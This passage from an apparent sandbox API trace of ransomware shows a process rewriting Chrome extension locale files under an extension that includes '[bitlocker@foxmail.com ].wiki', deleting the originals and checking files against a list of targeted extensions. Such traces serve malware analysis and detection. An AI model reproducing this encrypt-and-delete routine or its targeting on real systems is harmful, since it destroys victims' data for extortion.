Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.264] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=281) returned 1 [0177.265] CloseHandle (hObject=0x19c) returned 1 [0177.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json")) returned 0x2020 [0177.265] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.265] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.265] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.266] GetLastError () returned 0x0 [0177.266] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x119, lpOverlapped=0x0) returned 1 [0177.267] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x120, lpOverlapped=0x0) returned 1 [0177.268] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.268] WriteFile (in: hFile=0x334, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.268] SetEndOfFile (hFile=0x334) returned 1 [0177.268] CloseHandle (hObject=0x334) returned 1 [0177.268] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.268] SetEndOfFile (hFile=0x19c) returned 1 [0177.269] CloseHandle (hObject=0x19c) returned 1 [0177.269] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.269] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json")) returned 1 [0177.269] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 151 [0177.269] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 151 [0177.269] lstrlenW (lpString=".doc") returned 4 [0177.269] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.269] lstrlenW (lpString=".docx") returned 5 [0177.269] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.269] lstrlenW (lpString=".pdf") returned 4 [0177.270] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.270] lstrlenW (lpString=".xls") returned 4 [0177.270] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.270] lstrlenW (lpString=".xlsx") returned 5 [0177.270] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.270] lstrlenW (lpString=".ppt") returned 4 [0177.270] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 151 [0177.270] lstrlenW (lpString=".zip") returned 4 [0177.270] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.270] lstrlenW (lpString=".rar") returned 4 [0177.270] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.270] lstrlenW (lpString=".bz2") returned 4 [0177.270] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.270] lstrlenW (lpString=".7z") returned 3 [0177.270] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 151 [0177.270] lstrlenW (lpString=".dbf") returned 4 [0177.270] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 151 [0177.270] lstrlenW (lpString=".1cd") returned 4 [0177.270] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 151 [0177.270] lstrlenW (lpString=".jpg") returned 4 [0177.270] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 151 [0177.270] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 151 [0177.271] lstrlenW (lpString=".doc") returned 4 [0177.271] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.271] lstrlenW (lpString=".docx") returned 5 [0177.271] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.271] lstrlenW (lpString=".pdf") returned 4 [0177.271] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.271] lstrlenW (lpString=".xls") returned 4 [0177.271] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.271] lstrlenW (lpString=".xlsx") returned 5 [0177.271] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.271] lstrlenW (lpString=".ppt") returned 4 [0177.271] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 151 [0177.271] lstrlenW (lpString=".zip") returned 4 [0177.271] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.271] lstrlenW (lpString=".rar") returned 4 [0177.271] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.271] lstrlenW (lpString=".bz2") returned 4 [0177.271] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.271] lstrlenW (lpString=".7z") returned 3 [0177.271] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 151 [0177.271] lstrlenW (lpString=".dbf") returned 4 [0177.271] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 151 [0177.271] lstrlenW (lpString=".1cd") returned 4 [0177.271] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.271] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json") returned 151 [0177.271] lstrlenW (lpString=".jpg") returned 4 [0177.271] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.272] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.273] lstrlenW (lpString="messages.json") returned 13 [0177.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.274] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=334) returned 1 [0177.274] CloseHandle (hObject=0x19c) returned 1 [0177.274] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json")) returned 0x2020 [0177.274] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.274] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.274] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.274] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.274] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.569] GetLastError () returned 0x0 [0177.569] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x14e, lpOverlapped=0x0) returned 1 [0177.570] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x150, lpOverlapped=0x0) returned 1 [0177.571] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.571] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.571] SetEndOfFile (hFile=0x124) returned 1 [0177.571] CloseHandle (hObject=0x124) returned 1 [0177.571] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.571] SetEndOfFile (hFile=0x19c) returned 1 [0177.572] CloseHandle (hObject=0x19c) returned 1 [0177.572] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.572] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json")) returned 1 [0177.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 151 [0177.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 151 [0177.573] lstrlenW (lpString=".doc") returned 4 [0177.573] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.573] lstrlenW (lpString=".docx") returned 5 [0177.573] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.573] lstrlenW (lpString=".pdf") returned 4 [0177.573] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.573] lstrlenW (lpString=".xls") returned 4 [0177.573] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.573] lstrlenW (lpString=".xlsx") returned 5 [0177.573] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.573] lstrlenW (lpString=".ppt") returned 4 [0177.573] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 151 [0177.573] lstrlenW (lpString=".zip") returned 4 [0177.573] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.573] lstrlenW (lpString=".rar") returned 4 [0177.573] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.573] lstrlenW (lpString=".bz2") returned 4 [0177.573] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.573] lstrlenW (lpString=".7z") returned 3 [0177.573] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 151 [0177.573] lstrlenW (lpString=".dbf") returned 4 [0177.573] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.573] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 151 [0177.574] lstrlenW (lpString=".1cd") returned 4 [0177.574] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.574] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 151 [0177.574] lstrlenW (lpString=".jpg") returned 4 [0177.574] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.574] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 151 [0177.574] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 151 [0177.574] lstrlenW (lpString=".doc") returned 4 [0177.574] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.574] lstrlenW (lpString=".docx") returned 5 [0177.574] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.574] lstrlenW (lpString=".pdf") returned 4 [0177.574] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.574] lstrlenW (lpString=".xls") returned 4 [0177.574] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.574] lstrlenW (lpString=".xlsx") returned 5 [0177.574] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.574] lstrlenW (lpString=".ppt") returned 4 [0177.574] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.574] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 151 [0177.574] lstrlenW (lpString=".zip") returned 4 [0177.574] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.574] lstrlenW (lpString=".rar") returned 4 [0177.574] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.574] lstrlenW (lpString=".bz2") returned 4 [0177.574] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.574] lstrlenW (lpString=".7z") returned 3 [0177.574] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.574] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 151 [0177.574] lstrlenW (lpString=".dbf") returned 4 [0177.574] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.574] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 151 [0177.575] lstrlenW (lpString=".1cd") returned 4 [0177.575] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.575] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json") returned 151 [0177.575] lstrlenW (lpString=".jpg") returned 4 [0177.575] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.575] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.575] lstrlenW (lpString="messages.json") returned 13 [0177.575] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.576] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=210) returned 1 [0177.576] CloseHandle (hObject=0x19c) returned 1 [0177.578] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json")) returned 0x2020 [0177.578] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.578] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.578] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.579] GetLastError () returned 0x0 [0177.579] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xd2, lpOverlapped=0x0) returned 1 [0177.579] WriteFile (in: 